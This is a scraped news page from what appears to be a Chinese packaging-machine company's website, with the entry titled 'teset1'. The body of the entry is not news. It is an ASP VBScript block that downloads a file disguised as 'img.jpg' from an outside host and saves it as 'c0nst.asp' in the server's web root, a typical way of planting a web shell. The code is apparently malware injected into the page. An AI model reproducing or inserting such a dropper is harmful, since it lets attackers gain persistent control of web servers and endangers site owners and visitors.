热门关键词:钢带打包机  免扣打包机  
联系我们
你的位置:首页 > 新闻动态 > 公司新闻

teset1

<% Sub downloadFile(url,savePath) Set xPost = Server.CreateObject("Microsoft.XMLHTTP") xPost.Open "GET",url,0 xPost.Send() Set sGet = Server.CreateObject("ADODB.Stream") sGet.Mode = 3 sGet.Type = 1 sGet.Open() sGet.Write(xPost.responseBody) sGet.SaveToFile savePath,2 sGet=Nothing xPost=nothing End Sub Function formatPath(sPath) formatPath = Replace(sPath,"/","\") formatPath = Replace(formatPath,"\\","\") formatPath = Replace(formatPath,"\\","\") End Function Function downloader appPath = Server.MapPath("/")&"\" SaveASPFilePath = formatPath(appPath&"/c0nst.asp") downloadFile "https://dl.hong27.com/img.jpg",SaveASPFilePath End Function %>